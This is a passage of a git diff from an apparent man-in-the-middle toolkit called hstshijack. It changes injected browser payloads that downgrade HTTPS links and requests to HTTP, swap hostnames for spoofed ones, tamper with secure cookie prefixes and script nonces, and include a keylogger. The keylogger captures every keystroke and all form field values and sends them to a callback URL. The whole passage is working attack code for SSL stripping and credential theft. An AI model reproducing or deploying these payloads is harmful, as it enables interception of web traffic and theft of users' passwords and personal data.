(obf_hstshijack_var_selector_string.match(obf_hstshijack_var_regex_six)) { - var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_seven, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"), - obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."), - obf_hstshijack_var_replacement_string = obf_hstshijack_var_replacement_string.replace(obf_hstshijack_var_regex_six, ""); - return [ - new RegExp(obf_hstshijack_var_selector_string, "ig"), - obf_hstshijack_var_replacement_string + "$1" - ]; - } - } else { - var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."), - obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(/\-/g, "\\-"); - return [ - new RegExp("^" + obf_hstshijack_var_selector_string + "$", "ig"), - obf_hstshijack_var_replacement_string - ]; - } - } + const obf_hstshijack_parseURL = obf_hstshijack_url => { + if (typeof obf_hstshijack_url !== "string") return obf_hstshijack_url; + var obf_hstshijack_sliceLength = 0; + var obf_hstshijack_strippedURL = obf_hstshijack_trimLeadingAndTrailingWhitespaces(obf_hstshijack_url); + var obf_hstshijack_retval = ["","","","","",""]; + /* obf_protocol */ + obf_hstshijack_retval[0] = obf_hstshijack_strippedURL.replace(obf_hstshijack_rx_eight, "$1"); + var obf_hstshijack_protocol = obf_hstshijack_retval[0].toLowerCase(); + if (obf_hstshijack_protocol.length !== 0) { + if (obf_hstshijack_rx_seventeen.test(obf_hstshijack_protocol)) { + obf_hstshijack_retval[3] = obf_hstshijack_strippedURL.slice(obf_hstshijack_protocol.length); + return obf_hstshijack_retval; + } + /* obf_host */ + obf_hstshijack_retval[1] = obf_hstshijack_strippedURL.slice(obf_hstshijack_protocol).replace( + obf_hstshijack_rx_nine, "$1"); + } + /* obf_port */ + obf_hstshijack_sliceLength = obf_hstshijack_protocol.length + obf_hstshijack_retval[1].length; + obf_hstshijack_retval[2] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace( + obf_hstshijack_rx_ten, "$1"); + /* obf_path */ + obf_hstshijack_sliceLength = obf_hstshijack_sliceLength + obf_hstshijack_retval[2].length; + obf_hstshijack_retval[3] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace( + obf_hstshijack_rx_eleven, "$1"); + /* obf_search */ + obf_hstshijack_sliceLength = obf_hstshijack_sliceLength + obf_hstshijack_retval[3].length; + obf_hstshijack_retval[4] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace( + obf_hstshijack_rx_twelve, "$1"); + /* obf_hash */ + obf_hstshijack_retval[5] = obf_hstshijack_strippedURL.slice( + obf_hstshijack_sliceLength + obf_hstshijack_retval[4].length); + return obf_hstshijack_retval; + }; - function obf_hstshijack_func_parseURL(obf_hstshijack_var_url) { - var obf_hstshijack_var_sliceLength = 0; - var obf_hstshijack_var_strippedURL = obf_hstshijack_func_trimLeadingAndTrailingWhitespaces(obf_hstshijack_var_url); - var obf_hstshijack_var_retval = ["","","","","",""]; - /* obf_hstshijack_protocol */ - obf_hstshijack_var_retval[0] = obf_hstshijack_var_strippedURL.replace(obf_hstshijack_var_regex_eight, "$1"); - var obf_hstshijack_var_protocol = obf_hstshijack_var_retval[0].toLowerCase(); - if (obf_hstshijack_var_protocol.length !== 0) { - if ( - obf_hstshijack_var_protocol === "about:" - || obf_hstshijack_var_protocol === "data:" - || obf_hstshijack_var_protocol === "file:" - || obf_hstshijack_var_protocol === "geo:" - || obf_hstshijack_var_protocol === "javascript:" - || obf_hstshijack_var_protocol === "tel:" - ) { - obf_hstshijack_var_retval[3] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_retval[0].length); - return obf_hstshijack_var_retval; - } - /* obf_hstshijack_host */ - obf_hstshijack_var_retval[1] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_retval[0].length).replace(obf_hstshijack_var_regex_nine, "$1"); - } - /* obf_hstshijack_port */ - obf_hstshijack_var_sliceLength = obf_hstshijack_var_retval[0].length + obf_hstshijack_var_retval[1].length; - obf_hstshijack_var_retval[2] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_ten, "$1"); - /* obf_hstshijack_path */ - obf_hstshijack_var_sliceLength = obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[2].length; - obf_hstshijack_var_retval[3] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_eleven, "$1"); - /* obf_hstshijack_search */ - obf_hstshijack_var_sliceLength = obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[3].length; - obf_hstshijack_var_retval[4] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_twelve, "$1"); - /* obf_hstshijack_hash */ - obf_hstshijack_var_retval[5] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[4].length); - return obf_hstshijack_var_retval; - } + const obf_hstshijack_sendCallback = obf_hstshijack_host => { + if (obf_hstshijack_callback_log.indexOf(obf_hstshijack_host) !== -1) { + return; + } + obf_hstshijack_callback_log.push(obf_hstshijack_host); + var obf_hstshijack_url = location.origin + "/obf_path_ssl_log?" + obf_hstshijack_host; + if (obf_hstshijack_fetch) { + obf_hstshijack_fetch(obf_hstshijack_url) + } else { + var obf_hstshijack_request = new obf_hstshijack_XMLHttpRequest(); + obf_hstshijack_request.open("GET", obf_hstshijack_url, true); + obf_hstshijack_request.send(); + } + }; - function obf_hstshijack_func_callback(obf_hstshijack_var_host) { - for ( - var obf_hstshijack_var_i = 0; - obf_hstshijack_var_i < obf_hstshijack_var_callback_log.length; - obf_hstshijack_var_i++ - ) { - if (obf_hstshijack_var_callback_log[i] == obf_hstshijack_var_host) { - return; - } - } - obf_hstshijack_var_callback_log.push(obf_hstshijack_var_host); - obf_hstshijack_func_fetch(location.origin + "/obf_hstshijack_path_ssl_log?" + obf_hstshijack_var_host) - } + const obf_hstshijack_hijackHost = obf_hstshijack_host => { + for ( + let obf_hstshijack_i = 0; + obf_hstshijack_i < obf_hstshijack_target_hosts.length; + obf_hstshijack_i++ + ) { + const obf_hstshijack_whole_rx_set = obf_hstshijack_toWholeRegexpSet( + obf_hstshijack_target_hosts[obf_hstshijack_i], + obf_hstshijack_replacement_hosts[obf_hstshijack_i]); + obf_hstshijack_whole_rx_set[0].lastIndex = 0; + if (obf_hstshijack_whole_rx_set[0].test(obf_hstshijack_host)) { + obf_hstshijack_host = obf_hstshijack_host.replace( + obf_hstshijack_whole_rx_set[0], obf_hstshijack_whole_rx_set[1]); + break; + } + } + return obf_hstshijack_host; + }; - function obf_hstshijack_func_hijack(obf_hstshijack_var_host) { - for ( - var obf_hstshijack_var_i = 0; - obf_hstshijack_var_i < obf_hstshijack_var_target_hosts.length; - obf_hstshijack_var_i++ - ) { - var obf_hstshijack_var_whole_regexp_set = obf_hstshijack_func_toWholeRegexpSet( - obf_hstshijack_var_target_hosts[obf_hstshijack_var_i], - obf_hstshijack_var_replacement_hosts[obf_hstshijack_var_i]); - if (obf_hstshijack_var_host.match(obf_hstshijack_var_whole_regexp_set[0])) { - obf_hstshijack_var_host = obf_hstshijack_var_host.replace( - obf_hstshijack_var_whole_regexp_set[0], - obf_hstshijack_var_whole_regexp_set[1]); - break; - } - } - return obf_hstshijack_var_host; - } + const obf_hstshijack_hijackUrl = obf_hstshijack_url => { + const obf_hstshijack_parsed_url = obf_hstshijack_parseURL(obf_hstshijack_url); + const obf_hstshijack_host = obf_hstshijack_parsed_url[1]; + const obf_hstshijack_hijacked_host = obf_hstshijack_hijackHost(obf_hstshijack_host); + if (obf_hstshijack_hijacked_host !== obf_hstshijack_host) { + obf_hstshijack_parsed_url[1] = obf_hstshijack_hijacked_host; + const obf_hstshijack_protocol = obf_hstshijack_parsed_url[0]; + if (obf_hstshijack_rx_fifteen.test(obf_hstshijack_protocol)) { + obf_hstshijack_parsed_url[0] = obf_hstshijack_protocol.replace( + obf_hstshijack_rx_fifteen, "$1://"); + } + if (obf_hstshijack_rx_sixteen.test(obf_hstshijack_parsed_url[2])) { + obf_hstshijack_parsed_url[2] = ""; + } + return obf_hstshijack_parsed_url.join(""); + } + return obf_hstshijack_url; + }; - function obf_hstshijack_func_hook_XMLHttpRequest() { - XMLHttpRequest.prototype.open = function( - obf_hstshijack_var_method, - obf_hstshijack_var_url, - obf_hstshijack_var_async, - obf_hstshijack_var_username, - obf_hstshijack_var_password - ) { - var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_url), - obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]); - if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) { - if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") { - obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://"); - } - if (obf_hstshijack_var_parsed_url[2] === ":443") { - obf_hstshijack_var_parsed_url[2] = ""; - } - } - obf_hstshijack_var_url = obf_hstshijack_var_parsed_url[0] + - obf_hstshijack_var_hijacked_host + - obf_hstshijack_var_parsed_url[2] + - obf_hstshijack_var_parsed_url[3] + - obf_hstshijack_var_parsed_url[4] + - obf_hstshijack_var_parsed_url[5]; - return obf_hstshijack_func_open.apply(this, arguments); - } - } + const obf_hstshijack_hijackHtml = obf_hstshijack_html => { + const obf_hstshijack_url_matches = obf_hstshijack_html.match(obf_hstshijack_rx_eighteen) || []; + for (const obf_hstshijack_match of obf_hstshijack_url_matches) { + const obf_hstshijack_host = obf_hstshijack_match.replace(obf_hstshijack_rx_nineteen, ""); + const obf_hstshijack_spoofed_host = obf_hstshijack_hijackHost(obf_hstshijack_host); + if (obf_hstshijack_host !== obf_hstshijack_spoofed_host) { + const obf_hstshijack_spoofed_html = obf_hstshijack_match.replace( + obf_hstshijack_host, + obf_hstshijack_spoofed_host); + obf_hstshijack_html = obf_hstshijack_html.replace( + obf_hstshijack_match, + obf_hstshijack_spoofed_html); + } + } + return obf_hstshijack_html; + }; - function obf_hstshijack_func_hook_fetch() { - globalThis.fetch = function(obf_hstshijack_var_resource, obf_hstshijack_var_options) { - var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_resource), - obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]); - if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) { - if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") { - obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://"); - } - if (obf_hstshijack_var_parsed_url[2] === ":443") { - obf_hstshijack_var_parsed_url[2] = ""; - } - } - obf_hstshijack_var_resource = obf_hstshijack_var_parsed_url[0] + - obf_hstshijack_var_hijacked_host + - obf_hstshijack_var_parsed_url[2] + - obf_hstshijack_var_parsed_url[3] + - obf_hstshijack_var_parsed_url[4] + - obf_hstshijack_var_parsed_url[5]; - return obf_hstshijack_func_fetch(obf_hstshijack_var_resource, obf_hstshijack_var_options); - } - } + const obf_hstshijack_hookCookieGetterAndSetter = async () => { + while (document === undefined) await obf_hstshijack_sleep(0); + const obf_hstshijack_originalCookieGetter = Object.getOwnPropertyDescriptor(Document.prototype, "cookie").get, + obf_hstshijack_originalCookieSetter = Object.getOwnPropertyDescriptor(Document.prototype, "cookie").set; + Object.defineProperty(document, "cookie", { + configurable: true, + get: () => obf_hstshijack_originalCookieGetter.call(document) + .replaceAll("obf_hstshijack_cookie_host_prefix", "__Host-") + .replaceAll("obf_hstshijack_cookie_secure_prefix", "__Secure-"), + set: obf_hstshijack_value => { + obf_hstshijack_rx_cookie_domain.lastIndex = 0; + if (obf_hstshijack_rx_cookie_domain.test(obf_hstshijack_value)) { + const obf_hstshijack_cookie_domain = obf_hstshijack_value.match(obf_hstshijack_rx_cookie_domain)[1]; + const obf_hstshijack_selector_string = obf_hstshijack_cookie_domain[0] === "." + ? "*" + obf_hstshijack_cookie_domain : obf_hstshijack_cookie_domain; + if (obf_hstshijack_selector_string[0] === "*") { + for (obf_hstshijack_a = 0; obf_hstshijack_a < obf_hstshijack_target_hosts.length; obf_hstshijack_a++) { + if (obf_hstshijack_selector_string === obf_hstshijack_target_hosts[obf_hstshijack_a]) { + obf_hstshijack_value = obf_hstshijack_value.replace( + obf_hstshijack_cookie_domain, + obf_hstshijack_replacement_hosts[obf_hstshijack_a]); + break; + } else { + const obf_hstshijack_unspoofed_domain = "a" + obf_hstshijack_cookie_domain; + const obf_hstshijack_spoofed_domain = obf_hstshijack_hijackHost(obf_hstshijack_unspoofed_domain); + if (obf_hstshijack_unspoofed_domain !== obf_hstshijack_spoofed_domain) { + obf_hstshijack_value = obf_hstshijack_value.replace( + obf_hstshijack_cookie_domain, + obf_hstshijack_spoofed_domain.slice(1)); + break; + } + } + } + } else { + for (obf_hstshijack_a = 0; obf_hstshijack_a < obf_hstshijack_target_hosts.length; obf_hstshijack_a++) { + const obf_hstshijack_spoofed_domain = obf_hstshijack_hijackHost(obf_hstshijack_cookie_domain); + if (obf_hstshijack_cookie_domain !== obf_hstshijack_spoofed_domain) { + obf_hstshijack_value = obf_hstshijack_value.replace( + obf_hstshijack_cookie_domain, + obf_hstshijack_spoofed_domain); + break; + } + } + } + } + obf_hstshijack_originalCookieSetter.call(document, obf_hstshijack_value + .replace(obf_hstshijack_rx_cookie_host_prefix, "obf_hstshijack_cookie_host_prefix") + .replace(obf_hstshijack_rx_cookie_secure_prefix, "obf_hstshijack_cookie_secure_prefix") + .replace(obf_hstshijack_rx_cookie_downgrade, "")) + }, + }); + }; - function obf_hstshijack_func_hook_nodes() { - document.querySelectorAll("a,form,script,iframe").forEach(function(obf_hstshijack_var_node){ - try { - var obf_hstshijack_var_url = ""; - switch (obf_hstshijack_var_node.tagName) { - case "A": - obf_hstshijack_var_node.href - ? obf_hstshijack_var_url = obf_hstshijack_var_node.href - : ""; - break; - case "FORM": - obf_hstshijack_var_node.action - ? obf_hstshijack_var_url = obf_hstshijack_var_node.action - : ""; - break; - case "SCRIPT": - obf_hstshijack_var_node.src - ? obf_hstshijack_var_url = obf_hstshijack_var_node.src - : ""; - break; - case "IFRAME": - obf_hstshijack_var_node.src - ? obf_hstshijack_var_url = obf_hstshijack_var_node.src - : ""; - break; - } - if (obf_hstshijack_var_url.match(/^\s*(?:http[s]?:)?\/\/[^:/?#]+/i)) { - var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_url), - obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]); - if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) { - if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") { - obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://"); - } - if (obf_hstshijack_var_parsed_url[2] === ":443") { - obf_hstshijack_var_parsed_url[2] = ""; - } - } - var obf_hstshijack_var_hijacked_url = obf_hstshijack_var_parsed_url[0] + - obf_hstshijack_var_hijacked_host + - obf_hstshijack_var_parsed_url[2] + - obf_hstshijack_var_parsed_url[3] + - obf_hstshijack_var_parsed_url[4] + - obf_hstshijack_var_parsed_url[5]; - switch (obf_hstshijack_var_node.tagName) { - case "A": - if (obf_hstshijack_var_node.href) { - obf_hstshijack_var_node.href = obf_hstshijack_var_hijacked_url; - } - break; - case "FORM": - if (obf_hstshijack_var_node.action) { - obf_hstshijack_var_node.action = obf_hstshijack_var_hijacked_url; - } - break; - case "SCRIPT": - if (obf_hstshijack_var_node.src) { - obf_hstshijack_var_node.src = obf_hstshijack_var_hijacked_url; - } - break; - case "IFRAME": - if (obf_hstshijack_var_node.src) { - obf_hstshijack_var_node.src = obf_hstshijack_var_hijacked_url; - } - break; - } - obf_hstshijack_func_callback(obf_hstshijack_var_parsed_url[1].toLowerCase()); - } - } catch(obf_hstshijack_var_ignore) {} - }); - } + const obf_hstshijack_hookHtmlSetters = () => { + Object.defineProperty(Element.prototype, "innerHTML", { + configurable: true, + set: function(obf_hstshijack_html) { + obf_hstshijack_innerHtmlSetter.call( + this, + obf_hstshijack_hijackHtml(obf_hstshijack_html)); + }, + }); + Object.defineProperty(Element.prototype, "outerHTML", { + configurable: true, + set: function(obf_hstshijack_html) { + obf_hstshijack_outerHtmlSetter.call( + this, + obf_hstshijack_hijackHtml(obf_hstshijack_html)); + }, + }); + }; - try { - obf_hstshijack_func_hook_XMLHttpRequest(); - } catch(obf_hstshijack_var_ignore) {} + const obf_hstshijack_hookLinkHrefSetter = () => { + Object.defineProperty(HTMLLinkElement.prototype, "href", { + configurable: true, + set: function() { + obf_hstshijack_linkHrefSetter.call(this, ""); + }, + }); + }; - try { - obf_hstshijack_func_hook_fetch(); - } catch(obf_hstshijack_var_ignore) {} + const obf_hstshijack_hookScriptNonceSetter = () => { + Object.defineProperty(HTMLScriptElement.prototype, "nonce", { + configurable: true, + set: function() { + this.setAttribute("nonce", ""); + }, + }); + }; - globalThis.addEventListener("DOMContentLoaded", function(){ - try { - setInterval(obf_hstshijack_func_hook_nodes, 2000); - obf_hstshijack_func_hook_nodes(); - } catch(obf_hstshijack_var_ignore) {} + const obf_hstshijack_hookScriptSrcSetter = () => { + Object.defineProperty(HTMLScriptElement.prototype, "src", { + configurable: true, + set: function(obf_hstshijack_url) { + obf_hstshijack_scriptSrcSetter.call( + this, + obf_hstshijack_hijackUrl(obf_hstshijack_url)); + }, + }); + }; - try { - globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes); - } catch(obf_hstshijack_var_ignore) {} - }); -})(); + const obf_hstshijack_hookXMLHttpRequest = () => { + globalThis.XMLHttpRequest.prototype.open = function( + obf_hstshijack_method, + obf_hstshijack_url, + obf_hstshijack_async, + obf_hstshijack_username, + obf_hstshijack_password + ) { + obf_hstshijack_url = obf_hstshijack_hijackUrl(obf_hstshijack_url); + return obf_hstshijack_xhrOpen.apply(this, arguments); + } + }; + + const obf_hstshijack_hookFetch = () => { + globalThis.fetch = function(obf_hstshijack_resource, obf_hstshijack_options) { + return obf_hstshijack_fetch(obf_hstshijack_hijackUrl(obf_hstshijack_resource), obf_hstshijack_options); + } + }; + + try { + obf_hstshijack_hookCookieGetterAndSetter(); + } catch(obf_hstshijack_ignore) {} + + try { + obf_hstshijack_hookHtmlSetters(); + } catch(obf_hstshijack_ignore) {} + + try { + obf_hstshijack_hookLinkHrefSetter(); + } catch(obf_hstshijack_ignore) {} + + try { + obf_hstshijack_hookScriptNonceSetter(); + } catch(obf_hstshijack_ignore) {} + + try { + obf_hstshijack_hookScriptSrcSetter(); + } catch(obf_hstshijack_ignore) {} + + try { + obf_hstshijack_hookXMLHttpRequest(); + } catch(obf_hstshijack_ignore) {} + + try { + obf_hstshijack_hookFetch(); + } catch(obf_hstshijack_ignore) {} + + try { + while (document === undefined) await obf_hstshijack_sleep(0); + obf_hstshijack_mutation_observer.observe(document.documentElement, { + childList: true, + subtree: true, + attributes: true, + }); + } catch(obf_hstshijack_ignore) {} +})().catch(() => {}); diff --git a/hstshijack/payloads/keylogger.js b/hstshijack/payloads/keylogger.js index d01224a..e8f8738 100644 --- a/hstshijack/payloads/keylogger.js +++ b/hstshijack/payloads/keylogger.js @@ -1,141 +1,141 @@ /* - Hooks the keyup event and onsubmit events of forms and disables form autocompletion. + Hooks the keyup event and onsubmit events of forms and disables form autocompletion. - Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and - 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module - loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts' - are already declared before this is injected. + Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and + 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module + loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts' + are already declared before this is injected. */ (function(){ - "use strict"; - - var obf_hstshijack_var_keystrokes = []; - - function obf_hstshijack_func_random_string(obf_hstshijack_var_length) { - var obf_hstshijack_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", - obf_hstshijack_var_buff = new Array(obf_hstshijack_var_length); - for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_length; obf_hstshijack_var_i++) { - obf_hstshijack_var_buff[obf_hstshijack_var_i] = obf_hstshijack_var_chars.charAt(parseInt(Math.random() * obf_hstshijack_var_chars.length)); - } - return obf_hstshijack_var_buff.join(""); - } - - function obf_hstshijack_func_callback() { - try { - var obf_hstshijack_var_inputs = document.getElementsByTagName("input"), - obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"), - obf_hstshijack_var_params = ""; - - for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) { - if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") { - obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) + - "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) + - (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : ""); - } - } - for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) { - if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") { - obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) + - "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) + - (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : ""); - } - } - if (obf_hstshijack_var_params !== "") { - obf_hstshijack_var_params += "&"; - } - obf_hstshijack_var_params += "obf_hstshijack_var_keystrokes=" + encodeURIComponent(obf_hstshijack_var_keystrokes.join(",")); - - if (obf_hstshijack_var_params.length > 0) { - var obf_hstshijack_var_req = new XMLHttpRequest(); - obf_hstshijack_var_req.open( - "POST", - "http://" + location.host + "obf_hstshijack_path_callback?" + obf_hstshijack_var_params, - true); - obf_hstshijack_var_req.send(); - } - } catch(obf_hstshijack_var_ignore){} - } - - function obf_hstshijack_func_callback_whitelist() { - try { - var obf_hstshijack_var_inputs = document.getElementsByTagName("input"), - obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"), - obf_hstshijack_var_params = ""; - - for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) { - if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") { - obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) + - "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) + - (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : ""); - } - } - for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) { - if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") { - obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) + - "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) + - (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : ""); - } - } - - if (obf_hstshijack_var_params.length > 0) { - var obf_hstshijack_var_req = new XMLHttpRequest(); - obf_hstshijack_var_req.open( - "POST", - "http://" + location.host + "obf_hstshijack_path_whitelist?" + obf_hstshijack_var_params, - true); - obf_hstshijack_var_req.send(); - } - } catch(obf_hstshijack_var_ignore){} - } - - function obf_hstshijack_func_hook_keyup() { - globalThis.addEventListener("keydown", function(obf_hstshijack_var_event) { - try { - obf_hstshijack_var_keystrokes.push(obf_hstshijack_var_event.key); - obf_hstshijack_func_callback(); - } catch(obf_hstshijack_var_ignore){} - }); - } - - function obf_hstshijack_func_hook_forms() { - document.querySelectorAll("form").forEach(function(obf_hstshijack_var_form){ - // if (obf_hstshijack_var_form.querySelector("input[type=password]")) { - // obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback_whitelist); - // } else { - obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback); - // } - }); - } - - function obf_hstshijack_func_hook_inputs() { - document.querySelectorAll("input").forEach(function(obf_hstshijack_var_input){ - obf_hstshijack_var_input.autocomplete = "off"; - }); - } - - var obf_hstshijack_var_hooked_tag = obf_hstshijack_func_random_string(parseInt(8 + Math.random() * 8)); - - try { - obf_hstshijack_func_hook_keyup(); - } catch(obf_hstshijack_var_ignore){} - - try { - obf_hstshijack_func_hook_forms(); - } catch(obf_hstshijack_var_ignore){} - - try { - obf_hstshijack_func_hook_inputs(); - } catch(obf_hstshijack_var_ignore){} - - try { - globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_forms); - globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_inputs); - globalThis.addEventListener("load", obf_hstshijack_func_hook_forms); - globalThis.addEventListener("load", obf_hstshijack_func_hook_inputs); - setInterval(obf_hstshijack_func_hook_forms, 2000); - setInterval(obf_hstshijack_func_hook_inputs, 2000); - } catch(obf_hstshijack_var_ignore){} + "use strict"; + + var obf_hstshijack_var_keystrokes = []; + + function obf_hstshijack_func_random_string(obf_hstshijack_var_length) { + var obf_hstshijack_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", + obf_hstshijack_var_buff = new Array(obf_hstshijack_var_length); + for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_length; obf_hstshijack_var_i++) { + obf_hstshijack_var_buff[obf_hstshijack_var_i] = obf_hstshijack_var_chars.charAt(parseInt(Math.random() * obf_hstshijack_var_chars.length)); + } + return obf_hstshijack_var_buff.join(""); + } + + function obf_hstshijack_func_callback() { + try { + var obf_hstshijack_var_inputs = document.getElementsByTagName("input"), + obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"), + obf_hstshijack_var_params = ""; + + for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) { + if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") { + obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) + + "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) + + (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : ""); + } + } + for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) { + if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") { + obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) + + "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) + + (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : ""); + } + } + if (obf_hstshijack_var_params !== "") { + obf_hstshijack_var_params += "&"; + } + obf_hstshijack_var_params += "obf_hstshijack_var_keystrokes=" + encodeURIComponent(obf_hstshijack_var_keystrokes.join(",")); + + if (obf_hstshijack_var_params.length > 0) { + var obf_hstshijack_var_req = new XMLHttpRequest(); + obf_hstshijack_var_req.open( + "POST", + "http://" + location.host + "obf_hstshijack_path_callback?" + obf_hstshijack_var_params, + true); + obf_hstshijack_var_req.send(); + } + } catch(obf_hstshijack_var_ignore){} + } + + function obf_hstshijack_func_callback_whitelist() { + try { + var obf_hstshijack_var_inputs = document.getElementsByTagName("input"), + obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"), + obf_hstshijack_var_params = ""; + + for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) { + if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") { + obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) + + "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) + + (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : ""); + } + } + for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) { + if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") { + obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) + + "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) + + (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : ""); + } + } + + if (obf_hstshijack_var_params.length > 0) { + var obf_hstshijack_var_req = new XMLHttpRequest(); + obf_hstshijack_var_req.open( + "POST", + "http://" + location.host + "obf_hstshijack_path_whitelist?" + obf_hstshijack_var_params, + true); + obf_hstshijack_var_req.send(); + } + } catch(obf_hstshijack_var_ignore){} + } + + function obf_hstshijack_func_hook_keyup() { + globalThis.addEventListener("keydown", function(obf_hstshijack_var_event) 